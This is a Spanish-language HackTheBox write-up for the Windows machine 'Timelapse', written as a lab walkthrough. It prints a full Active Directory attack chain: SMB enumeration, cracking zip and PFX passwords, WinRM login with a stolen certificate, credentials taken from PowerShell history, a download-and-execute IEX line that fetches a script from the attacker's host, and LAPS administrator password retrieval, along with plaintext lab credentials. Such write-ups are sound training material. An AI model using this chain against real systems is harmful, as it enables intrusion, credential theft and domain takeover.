Entrada

Timelapse Writeup - HackTheBox

¡Saludos!

En este informe, nos adentraremos en la máquina Timelapse de HackTheBox, la cual está clasificada con un nivel de dificultad fácil según la plataforma. Se trata de una máquina Windows en la que realizaremos una enumeración SMB para obtener un archivo zip protegido con contraseña que deberemos descifrar para recuperar un archivo PFX, permitiéndonos así el acceso al sistema a través de WinRM. Una vez que hayamos obtenido acceso al sistema, llevaremos a cabo un pivoting hacia un usuario que forma parte del grupo LAPS_Readers, lo que nos facilitará la obtención de la contraseña del usuario Administrador.

¡Vamos a empezar!

Reconocimiento activo


Como primer paso, lanzamos el comando ping desde nuestro equipo atacante para verificar si la máquina objetivo está activa.

1
2
3
4
5
6
7
❯ ping -c 1 10.10.11.152
PING 10.10.11.152 (10.10.11.152) 56(84) bytes of data.
64 bytes from 10.10.11.152: icmp_seq=1 ttl=127 time=107 ms

--- 10.10.11.152 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 106.612/106.612/106.612/0.000 ms

Dado que el TTL es cercano a 128, podemos inferir que la máquina objetivo probablemente sea Windows.

Escaneo


A continuación, realizamos un escaneo con Nmap para identificar los puertos abiertos en el sistema objetivo.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ nmap -p- --open -n -sS -Pn --min-rate 5000 10.10.11.152 -oG allPorts.txt
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-26 22:33 -05
Nmap scan report for 10.10.11.152
Host is up (0.12s latency).
Not shown: 65517 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5986/tcp  open  wsmans
9389/tcp  open  adws
49667/tcp open  unknown
49673/tcp open  unknown
49674/tcp open  unknown
49695/tcp open  unknown
54225/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 26.47 seconds

Enumeración


Seguidamente, efectuamos una enumeración de las versiones de los servicios asociados a los puertos abiertos. Además, activamos los scripts predeterminados de Nmap para realizar pruebas complementarias sobre los puertos y servicios identificados.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
❯ nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49695,54225 -sV -sC --min-rate 5000 10.10.11.152 -oN services.txt
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-26 22:38 -05
Nmap scan report for 10.10.11.152
Host is up (0.11s latency).

PORT      STATE SERVICE           VERSION
53/tcp    open  domain            Simple DNS Plus
88/tcp    open  kerberos-sec      Microsoft Windows Kerberos (server time: 2023-07-27 11:38:14Z)
135/tcp   open  msrpc             Microsoft Windows RPC
139/tcp   open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp   open  ldap              Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ldapssl?
3268/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
3269/tcp  open  globalcatLDAPssl?
5986/tcp  open  ssl/http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ssl-date: 2023-07-27T11:39:45+00:00; +7h59m57s from scanner time.
|_http-server-header: Microsoft-HTTPAPI/2.0
| ssl-cert: Subject: commonName=dc01.timelapse.htb
| Not valid before: 2021-10-25T14:05:29
|_Not valid after:  2022-10-25T14:25:29
| tls-alpn: 
|_  http/1.1
|_http-title: Not Found
9389/tcp  open  mc-nmf            .NET Message Framing
49667/tcp open  msrpc             Microsoft Windows RPC
49673/tcp open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc             Microsoft Windows RPC
49695/tcp open  msrpc             Microsoft Windows RPC
54225/tcp open  msrpc             Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2023-07-27T11:39:08
|_  start_date: N/A
|_clock-skew: mean: 7h59m56s, deviation: 0s, median: 7h59m56s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 99.59 seconds

El reporte de Nmap muestra varios puertos comunes de Active Directory abiertos en el host con nombre DC01 y perteneciente al dominio timelapse.htb.

SMB - 139/445

Al detectar que SMB está abierto, procedimos a verificar si era posible acceder de manera anónima a algún recurso compartido.

Utilizamos el siguiente comando para listar los recursos compartidos SMB disponibles:

1
2
3
4
5
6
7
8
9
10
❯ smbmap -H 10.10.11.152 -u 'guest'
[+] IP: 10.10.11.152:445	Name: 10.10.11.152                                      
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	IPC$                                              	READ ONLY	Remote IPC
	NETLOGON                                          	NO ACCESS	Logon server share 
	Shares                                            	READ ONLY	
	SYSVOL                                            	NO ACCESS	Logon server share

La salida anterior revela que existe un recurso compartido denominado Shares al cual tenemos permisos de lectura.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ smbclient //10.10.11.152/Shares -N
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Mon Oct 25 10:39:15 2021
  ..                                  D        0  Mon Oct 25 10:39:15 2021
  Dev                                 D        0  Mon Oct 25 14:40:06 2021
  HelpDesk                            D        0  Mon Oct 25 10:48:42 2021

		6367231 blocks of size 4096. 2449933 blocks available
smb: \> cd Dev\
smb: \Dev\> dir
  .                                   D        0  Mon Oct 25 14:40:06 2021
  ..                                  D        0  Mon Oct 25 14:40:06 2021
  winrm_backup.zip                    A     2611  Mon Oct 25 10:46:42 2021

		6367231 blocks of size 4096. 2449933 blocks available
smb: \Dev\> get winrm_backup.zip 
getting file \Dev\winrm_backup.zip of size 2611 as winrm_backup.zip (6,0 KiloBytes/sec) (average 6,0 KiloBytes/sec)

Encontramos dos carpetas: Dev y HelpDesk. En la carpeta Dev, hallamos un archivo zip llamado winrm_backup.zip. Intentamos descomprimirlo, pero requerimos una contraseña que no poseemos actualmente.

1
2
3
❯ unzip winrm_backup.zip
Archive:  winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password:

Intentamos descifrar la contraseña utilizando la herramienta John. Para ello, primero utilizamos la utilidad zip2john para convertir el archivo zip a un formato hash.

1
2
3
4
5
6
7
8
9
10
11
❯ zip2john winrm_backup.zip > hash_zip
ver 2.0 efh 5455 efh 7875 winrm_backup.zip/legacyy_dev_auth.pfx PKZIP Encr: TS_chk, cmplen=2405, decmplen=2555, crc=12EC5683 ts=72AA cs=72aa type=8
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash_zip
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
supremelegacy    (winrm_backup.zip/legacyy_dev_auth.pfx)     
1g 0:00:00:00 DONE (2023-07-26 23:08) 1.010g/s 3508Kp/s 3508Kc/s 3508KC/s surkerior..superkebab
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

El resultado es un archivo PFX que contiene un certificado SSL en formato PKCS#12 y una clave privada.

1
2
3
4
❯ unzip winrm_backup.zip
Archive:  winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password: 
  inflating: legacyy_dev_auth.pfx

Explotación


El certificado y la clave privada permiten iniciar sesión sin contraseña en WinRM. A continuación, intentaremos extraerlos del archivo.

El primer paso será extraer la clave privada del archivo PFX, el cual estará encriptado, para ello ingresa el siguiente comando:

1
2
❯ openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out file-priv.key
Enter Import Password:

La salida anterior indica que necesitamos una contraseña diferente a supremelegacy. Para proceder, utilizamos la utilidad pfx2john para convertir el archivo PFX en un formato hash, y luego empleamos John para descifrar la contraseña.

1
2
3
4
5
6
7
8
9
10
11
12
❯ pfx2john legacyy_dev_auth.pfx > hash_pfx
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash_pfx
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thuglegacy       (legacyy_dev_auth.pfx)     
1g 0:00:00:42 DONE (2023-07-26 23:25) 0.02375g/s 76781p/s 76781c/s 76781C/s thuglife06..thsco04
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Una vez descifrada la contraseña, extraemos el certificado SSL y la clave privada del archivo PFX usando los siguientes comandos.

1
2
3
4
❯ openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes
Enter Import Password:
❯ openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out cert.pem
Enter Import Password:

Una vez que hemos desencriptado el archivo PFX y generado un certificado y clave válidos, podemos intentar iniciar sesión a través de WinRM. En la salida de nuestro comando Nmap, podemos ver que el puerto 5986 está abierto, el cual se utiliza comúnmente por WinRM con conexiones SSL encriptadas. Dado que Evil-WinRM nos permite pasar una clave y un certificado utilizando las opciones -c y -k, podemos utilizarlos para autenticarnos en el objetivo.

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ evil-winrm -i 10.10.11.152 -c cert.pem -k key.pem -S
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Warning: SSL enabled
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami
timelapse\legacyy

Una vez conectados como usuario legacyy, procedemos a obtener la user flag en la ruta C:\Users\legacyy\Desktop.

1
2
3
4
5
6
7
8
9
10
*Evil-WinRM* PS C:\Users\legacyy\Desktop> dir

    Directory: C:\Users\legacyy\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        7/27/2023   7:46 AM             34 user.txt

*Evil-WinRM* PS C:\Users\legacyy\Desktop> type user.txt
f4ccb23a73f74b0f****************

Escalación de privilegios


Realizamos una enumeración manual para ver si podemos escalar nuestros privilegios. Encontramos el usuario svc_deploy del dominio que forma parte del grupo LAPS_Readers.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
*Evil-WinRM* PS C:\Users\legacyy\Documents> net user svc_deploy
User name                    svc_deploy
Full Name                    svc_deploy
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            10/25/2021 12:12:37 PM
Password expires             Never
Password changeable          10/26/2021 12:12:37 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   10/25/2021 12:25:53 PM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *LAPS_Readers         *Domain Users
The command completed successfully.

El “Local Administrator Password Solution” (LAPS) se utiliza para gestionar las contraseñas de las cuentas locales de los equipos Active Directory. Por lo tanto, sería interesante encontrar una forma de autenticarnos como usuario svc_deploy y recuperar estas contraseñas.

User Pivoting

Afortunadamente, al inspeccionar el historial de la línea de comandos de PowerShell, hemos encontrado la contraseña del usuario svc_deploy.

1
2
3
4
5
6
7
8
9
10
11
*Evil-WinRM* PS C:\Users\legacyy> type AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit

Verificamos con crackmapexec si las credenciales son válidas.

1
2
3
❯ crackmapexec smb 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV'
SMB         10.10.11.152    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.152    445    DC01             [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV

Al ser válidas, podemos iniciar sesión a través de Evil-WinRM utilizando el siguiente comando:

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ evil-winrm -i 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Warning: SSL enabled
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami
timelapse\svc_deploy

Existe un script de PowerShell en GitHub llamado https://github.com/kfosaaen/Get-LAPSPasswords, que permite recuperar las contraseñas de LAPS.

Alojamos el archivo Get-LAPSPasswords.ps1 en un servidor web utilizando Python para luego descargarlo en la máquina víctima.

1
2
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Con el siguiente comando, descargamos y ejecutamos el script Get-LAPSPasswords.ps1:

1
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> IEX(New-Object Net.WebClient).downloadString('http://10.10.14.148/Get-LAPSPasswords.ps1')

Luego, ejecutamos la función Get-LAPSPasswords para obtener las contraseñas de las cuentas de administrador local generadas por LAPS.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> Get-LAPSPasswords

Hostname   : dc01.timelapse.htb
Stored     : 1
Readable   : 1
Password   : 7]pZ-rLF480%v;mABF$j;a53
Expiration : 8/1/2023 7:46:35 AM

Hostname   : dc01.timelapse.htb
Stored     : 1
Readable   : 1
Password   : 7]pZ-rLF480%v;mABF$j;a53
Expiration : 8/1/2023 7:46:35 AM

Hostname   :
Stored     : 0
Readable   : 0
Password   :
Expiration : NA

Hostname   : dc01.timelapse.htb
Stored     : 1
Readable   : 1
Password   : 7]pZ-rLF480%v;mABF$j;a53
Expiration : 8/1/2023 7:46:35 AM

Hostname   :
Stored     : 0
Readable   : 0
Password   :
Expiration : NA

Hostname   :
Stored     : 0
Readable   : 0
Password   :
Expiration : NA

Hostname   : dc01.timelapse.htb
Stored     : 1
Readable   : 1
Password   : 7]pZ-rLF480%v;mABF$j;a53
Expiration : 8/1/2023 7:46:35 AM

Hostname   :
Stored     : 0
Readable   : 0
Password   :
Expiration : NA

Hostname   :
Stored     : 0
Readable   : 0
Password   :
Expiration : NA

Hostname   :
Stored     : 0
Readable   : 0
Password   :
Expiration : NA

Con la contraseña en nuestro poder, procedemos a verificar si son válidas para el usuario Administrator.

1
2
3
❯ crackmapexec smb 10.10.11.152 -u 'Administrator' -p '7]pZ-rLF480%v;mABF$j;a53'
SMB         10.10.11.152    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.152    445    DC01             [+] timelapse.htb\Administrator:7]pZ-rLF480%v;mABF$j;a53 (Pwn3d!)

Al ser válidas, podemos iniciar sesión con Evil-WinRM como usuario Administrator.

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ evil-winrm -i 10.10.11.152 -u 'Administrator' -p '7]pZ-rLF480%v;mABF$j;a53' -S
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Warning: SSL enabled
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
timelapse\administrator

Finalmente, obtenemos la root flag en la ruta C:\Users\TRX\Desktop.

1
2
3
4
5
6
7
8
9
10
*Evil-WinRM* PS C:\Users\TRX\Desktop> dir

    Directory: C:\Users\TRX\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        7/27/2023   7:46 AM             34 root.txt

*Evil-WinRM* PS C:\Users\TRX\Desktop> type root.txt
f5577c7b4e1e9fe5****************

!Happy Hacking¡

Esta entrada está licenciada bajo CC BY 4.0 por el autor.